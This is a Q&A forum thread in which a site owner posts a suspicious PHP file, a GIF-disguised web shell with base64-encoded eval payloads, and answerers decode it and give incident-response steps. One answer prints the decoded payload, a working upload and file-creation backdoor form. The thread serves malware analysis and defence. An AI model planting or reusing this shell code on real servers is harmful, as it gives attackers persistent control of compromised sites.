0

I found this file in my folder named quarantine_wp_protect.php. This file sits outside the public_html folder.

Inside this file is the following code:

GIF89a???????????!??????,???????D?;?<?php
$language = 'eng';
$auth     = 0;
$name     = ''; // md5 Login
$pass     = ''; // md5 Password

@error_reporting(0); 
@set_time_limit(0);
 $lol = $_GET['lol'];
 $osc = $_GET['osc'];

if (isset($lol)) { eval(gzinflate(base64_decode('pZJda8IwFIbvB/sPMQhNQMR9XM05Cvsbg1DTE5vRJiEnnRbxvy9Jre5C8GJ35f143kMoyMYS+rNyn/5l/771H3T9+ABZxAHf6NI1TvSm6oDxJZ0Cc9nVG5pjxm5X9ZDa2QCEXa+TDQeWYnziXa2oqN7IoK0hOaWAH2PXA5INKYroa0XYDDoXhtFOvlZsqgk4aAzICjiALLJbps8cXiRQmj0Dv602jH4ZejFO8aQW4RYQG2hbccWeGeVVHw+6QxkwQHc+zG4FhsoHlkrlaF0gEz+GdhCEtCaAiYicjSKYWsgWKsPuTLoKMTS+vzk6mf+eLTWKWLW9l8DmKiGcdWDGh6ee8r+vRtMvsW90C2xWKrAqVjgnR5L9ZSwrD1Ud1cXT6vmVr8kpHStbi4mep6PiIfTe5FJSfgE='))); die; }
elseif (isset($osc)) { eval(gzinflate(base64_decode('pZHNasMwEITvhb6DYgyWIZS2lF5CwA9SEI48ilUcyWhlmhDy7l3J+ekhkENPEjM73w5SqXfdetMSPj9UB+07yNKTrlfPTyUI28mmAexlyWdSoXsvbhYrZnI6Wu9EnjKoj5wNILEWVcW+NUIusBvjYbaTb428xBT2liLJCnvoKrtNuubhZQLlMjPw21sniy9XXI0TVxoI94DUYxjUDXtmNDd9LvSAcqCI3bmY3yiKbYgyhZrZukIufB7aIirtXYRjRJ5lEa5TekDr5IOVY0sU+zDdXXox/722saQ46qeg+dNNQox+hJsfvghF/ffVioLDP70dIBeNgTccqWtxFNl/4bAJaDtWl2+v7x/1SpxSWT14SvS8mpWAOAWXQ0n5BQ=='))); }
else { eval(gzinflate(base64_decode('pVNdi9swEHw/uP+wEQbFkCZpy0G5xKGhJEdpoAX3nkIwii3XAtsSllwnd+S/V7LsOL409KF+8cfOjGdnV07Ic0VzBR5IVTAhUyITKodO8OO7/3OLmzLeuTNwwpilVCPPRfOOd7pSvqmUTeX+joYJBzzfL+b7YoHHIhFBmZOMDt0xNp/mk/0Cd7iYFxmQUDGeewhBRlXCIw8JLhUCmofqKKiHsjJVTJBCTQz+XUQUQWBUPUQqBCyq75e6ih4UKSixqLZpqY6p5lQsUsnjw6cHcZgllP1K1OOH6VQctMLYabDa7aQVsb104iwXpQJrzWBaL3U+CCR70S/vpwh+k7TUjzmtTMWEga51LDcI9Y+UZltZWe4zpmxrQSnSs9YXC7tlxzqwkpduPk7R4qbv8n98a3OcRP/0/Wxhev5mhLUai89r13Sv1+71/g705SQkj+oVi7mg+dDu4ghwhd2ZhRi6RbUk+xWGcVUwRdvqCNqZuuB5HqyXG3/lwivU3SC9qjbTdt+flk/LjVlTM3U0g1MnTlNJbxP952/+yofBYHDJhjhMuTy7ad2femK4E1tfebDbZ3yc+qHZ6LvQdO1zyMVRI9ZfNyt/i+2x3GKVicDMC+9GzeF1ewnY6bTn+rqRfhRvY+iza+9/J5/+AA=='))); }

?>

How can I determine what this file does and what would indicate that it is suspicious.

amccormack
  • 3,951
  • 1
  • 15
  • 23
Ben Bibikov
  • 79
  • 1
  • 1
  • 3
  • 6
    if you did not put it there, then it is a rogue file – schroeder May 07 '15 at 20:35
  • 1
    you can see the same problems with this file as you did in your other question: http://security.stackexchange.com/questions/87494/is-this-php-file-containing-an-eval-to-a-post-variable-an-indication-of-compromi – schroeder May 07 '15 at 20:36
  • 1
    Please do not ask a question for every single file on your server! Instead, you could ask something such as "What to look for in a PHP file on my server to decide whether it is rogue or not?" which would be useful to other people than just you. As @schroeder pointed out, the origin of the file would be an excellent clue of its malignity. – Steve Dodier-Lazaro May 07 '15 at 20:46
  • My apologies. I will do next time. – Ben Bibikov May 07 '15 at 20:47
  • that looks rogue to me – ben Apr 22 '16 at 22:06

2 Answers2

8

First things first

If you suspect your server has been compromised, you should be implementing an Incident Response plan. There are lots of resources out there for putting a plan together, including a recently released "Criminal Division Guidance on Best Practices for Victim Response and Reporting Cyber Incidents" from the US Justice Department.

Before you start analyzing your possible rogue file, start preserving information

You are going to want a clean copy of data that you can analyze to determine exactly what happened. If possible, this would include memory and hard disk images. If you don't have the ability to do that, at the very least:

  • run basic diagnostic commands like ps aux netstat naolp lsof and ls -alR (all as sudo). You don't have to analyze all of it now, just dump it all into a text file and copy it to another computer.
  • Copy off any directory you think could have been affected as you'll want to look for additional rogue files and modifications.
  • Grab all the log files you can, all of /var/log and apache or nginx logs, and user ~/.bash_history
  • Run a find search for all recently modified files, and copy them all off.

There are lots of resources for how you should respond to such a situation, but I figured I'd just give you what I would collect if I didn't have a IR Plan in place and had to act in the moment. I should also note that beacause of the possability of rootkits, these user-level tools may not give you accurate information, but if you can't grab a hard disk and memory image, it can be a place to start.

Analyzing the PHP File

As mentioned above, the file you posted has significant tells that it is malicious. I would consider the fact that it has a GIF header, but contains PHP code to be the biggest flag. Once you see that, you should start treating your server as compromised. Note: we don't yet know from the existence of the file alone how much access the attacker may have had.

But what does it do?

In order to see what the file does, I replaced every instance of eval with echo and ran the file. Before running the file, you should read the code to make sure you understand what it does. I ran it in a VM just to be sure, but since were just echoing strings, there isn't much to worry about (unless there is some php echo 0-day I'm unaware of). After running the modified code, we get the following output:

<?php
$content = stripslashes($_POST['content']); $cfile = $_POST['cfile']; $ufile = $_POST['ufile'];
echo '<b><br>'.php_uname().'<br></b>';
echo '<form action="" method="post" enctype="multipart/form-data" name="aw" id="aw">';
echo '<textarea name=content style="width:585px;height:200px">'.$content.'</textarea><br>';
echo '<input type="text" name="cfile" size="10" value="newfile.php">';
echo '<input name="_create" type="submit" id="_upl" value="Create">';
echo '<input type="file" name="file" size="30"><input type="text" name="ufile" size="10" value="newfile.php">';
echo '<input name="_upload" type="submit" id="_upl" value="Upload"></form>';
if($_POST['_create']){
    $handle = fopen($cfile, 'w');
    if($handle){
        if (fwrite($handle, $content) === FALSE) { echo "<b>Create $cfile GAGAL</b><br>"; }
        else { echo "<b>Create $cfile SUKSES !!!</b><br>"; } fclose($handle);
    } else { echo '<b>Create File GAGAL</b><br><br>'; }
}
if($_POST['_upload']){
    if(@copy($_FILES['file']['tmp_name'], $ufile)) { echo "<b>Upload $ufile SUKSES !!!</b><br><br>"; }
   else { echo "<b>Upload $ufile GAGAL !!!</b><br><br>"; }
}

Quickly glancing through the code, it looks like this file is used to upload other files. It appears to be common, searching google for "Create File GAGAL" has over 100 results

Some additional tips include:

  • Websites like UnPHP and DDecode can help analyze obfuscated scripts.
  • The Reverse Engineering stack exchange has a question about setting up a secure environment to analyze the script.
  • The best way to start is by grabbing unique strings from the text and searching for them on Google. Often, you will find other researchers have done the work for you.

What to look for next

Because someone added a file that allows them to upload or create files, you want to see if anyone used it. This is when your web server logs will come in handy. Using a tool like grep can easily determine who accessed the file and could provide additional indicators to search for. For example, you can use grep to look for quarantine_wp_protect.php:

$ grep quarantine_wp_protect.php *
123.123.123.123 - - [11/Jan/2015:07:07:43 -0500] "GET /quarantine_wp_protect.php HTTP/1.1" 200 211 "-" "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.66 Safari/537.36"
124.124.124.124 - - [11/Jan/2015:07:13:20 -0500] "GET /quarantine_wp_protect.php HTTP/1.1" 200 133 "-" "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.66 Safari/537.36"

This would indicate that the IPs 123.123.123.123 and 124.124.124.124 hit that file. You would then want to run grep scans based on that IP to see what else those IPs might have done.

There are some things to keep in mind when looking at your logs. For instance, the User Agent String (the last "" section in the example above), is client supplied and should really be considered arbitrary. Sometimes you will see useragent strings like "Googlebot" or "Yahoo", but these may not actually be google and yahoo. A good way to tell is to lookup who is registered to that IP address. For example you can use WolframAlpha to search 188.165.15.160. Wolfram reports that this IP belongs to OVH SAS in Paris, France. When you search for a legitimate google IP, Wolfram reports "Googlebot".

The log line in the comment below is:

188.165.15.160 - - [07/May/2015:19:41:20 -0700] "GET /wp-content/plugins/_notes/index.php?url=/Nike-Free-Run-Pas-Cher/Chaussure-de-co‌​urse-U-1278-Nike-Free-30-V3-Femmes-Anthracite-1681.html HTTP/1.1" 503 1168 "-" "Mozilla/5.0 (compatible; AhrefsBot/5.0; +ahrefs.com/robot/)

Note that the return code is 503. This suggests that the server didn't process the request (This is not a guarantee, however, as PHP has the ability to set arbitrary return codes). What this likely means, is that after your system was compromised, it was being used to serve redirect spam. Not to get too into the weeds, but many spam systems keep track of the reputation of URLs. So an attacker can't spam people with "my-scam-nike-store.com", because of its low reputation, instead, it will compromise your website, with a good or unknown reputation, send the spam as long as it can, and move on to another victim. Your system would be used to redirect (HTTP status codes in the 300-400 range) users to the scam site.

But how did it get there?

It is most likely that you have a vulnerable wordpress plugin or some other php file being used to upload files. You will want to figure out which file is being used so you can either remove it or fix it. Hopefully, the same IP that accessed quarantine_wp_protect.php is the IP that was responsible for placing the file. If that is the case, then the IP greps mentioned above should show some activity with the vulnerable file. If no other files are shown, you can also try comparing the timestamp of the file to what was happening in the web logs at that time. (Note: as mentioned previously, that timestamp may have been changed by an attacker)

I removed the file, am I done?

No, if you can't determine the root cause, you likely won't be able to fix the problem that let the intruders in in the first place. The best course of action is to fix the vulnerable file and then redeploy (either to a new webserver or wipe the old one and resetup). The reason for this is that there are lots of ways intruders can bury themselves in your application once they have access. They can use cronjobs, startup services, or backdoor your own php files. You can go through the motions of looking for all of these things and hoping you thought of every trick they may have thought of, or you can just redeploy.

If you can't redeploy, one thing you will to do is set up a packet capture. You can use a program like tcpdump to log all HTTP traffic at the network level. This will let you see exactly what requests are coming in and what response is being sent. If the intruder is particularly clever, this could be one of the only ways of verifying that the correct data is being delivered.

nohup sudo -b tcpdump -ni eth0 -s65535 -G 3600 -w 'trace_%Y-%m-%d_%H:%M:%S.pcap' port 80

I would recommend doing this for a day or two atleast. Be careful where you save the recordings though, as it will capture things like your wordpress username and password if you haven't set up HTTPS.

Additionally, there are many steps that may need to be taken depending on your application or business. Was customer data stolen? Did passwords get compromised? Logging can help answer many of these questions. Do database passwords or application secrets need to be changed? In most cases, you'll want to err on the side of caution and just change them.

amccormack
  • 3,951
  • 1
  • 15
  • 23
  • I appreciate your lengthy post. What I'm noticing when I open apache log files from /home/user/logs I see bunch of bots showing these paths to content that do not exist. Even google bots hit these pages. 188.165.15.160 - - [07/May/2015:19:41:20 -0700] "GET /wp-content/plugins/_notes/index.php?url=/Nike-Free-Run-Pas-Cher/Chaussure-de-course-U-1278-Nike-Free-30-V3-Femmes-Anthracite-1681.html HTTP/1.1" 503 1168 "-" "Mozilla/5.0 (compatible; AhrefsBot/5.0; +http://ahrefs.com/robot/)" ---- does this mean that something fishy is still going on? – ben May 08 '15 at 04:53
  • Wordfence shows the same things in live traffic report except that it shows those bots are hitting non-existent pages. So I assume that these bots are being directed to my site from some back-links or from other compromised sites. Mountain View, United States tried to access non-existent page http://website.org/kudos-to-ann-nichols/nanxie-brand-copy-3.htm 2 minutes ago IP: 66.249.65.160 [block] Hostname: crawl-66-249-65-160.googlebot.com – ben May 08 '15 at 05:10
  • I made some changes to discuss the log items you reference. Be sure to check for rouge `.htaccess` files just in case. These can be used to make cleaning up really difficult since it can affect url routing. – amccormack May 08 '15 at 05:24
  • Also added a note about tcpdump. It'll give you great visibility if something is still going on. – amccormack May 08 '15 at 05:37
0

Definitely a rogue file, most likely a shell.

Key indicators:

  • $name = ''; // md5 Login
  • $pass = ''; // md5 Password
  • $lol = $_GET['lol'];
  • $osc = $_GET['osc'];
  • base64
  • filename

$name and $pass are used to protect access to shell

$lol and $osc are variables that pass GET data (most likely) through something like passthru()

base64 is used to encode, in this case we'll say hide, the malicious code

Googling the filename "quarantine_wp_protect.php" yields no results other than this page, so it's probably not from something like a Wordpress plugin. The attacker just used this name because someone could overlook the filename if they do not know what they are doing.

  • This file is probably the mother-ship of all other rogue scripts that were peppered on my site. I would delete them, but they would reappear again. Hopefully this takes care of the problem for good. If not, then I'm screwed. – Ben Bibikov May 07 '15 at 21:52
  • 1
    The "key indicator" is that the file has a GIF89 header, but contains PHP code. There's no legitimate reason for a file to do that. – Mark May 07 '15 at 22:58
  • 1
    @BenBibikov I would suggest wiping your server. – Sakamaki Izayoi May 07 '15 at 23:28
  • nuking the site is going to be very hard at this point. – ben May 08 '15 at 04:52
  • @ben It would be a very bad idea to run the site when knowing that this stuff exists or existed. Additionally, there is a possible chance that they obtained root access on your server. – Sakamaki Izayoi May 08 '15 at 14:21
  • @ben your site is already effectively nuked. Leaving it running in this state will only make things worse. – Alfred Armstrong May 08 '15 at 15:58
  • Should I request the host to move my site to a different VPS? I pretty much nuked the site, meaning I re-uploaded fresh copy of Wordpress, reuploaded fresh copies of plugins. The index.php issue seems to gone now, I am monitoring the site for any other issues. – Ben Bibikov May 08 '15 at 19:24
  • @BenBibikov Do you have copies of your Wordpress files that were never on any infected servers? If not, you should manually go through each PHP script checking for anything that could be bad. And nuke your current VPS or, as you suggested, switch to a new host. – Sakamaki Izayoi May 08 '15 at 19:32
  • @Sakamaki Izayoi – Ben Bibikov May 11 '15 at 16:47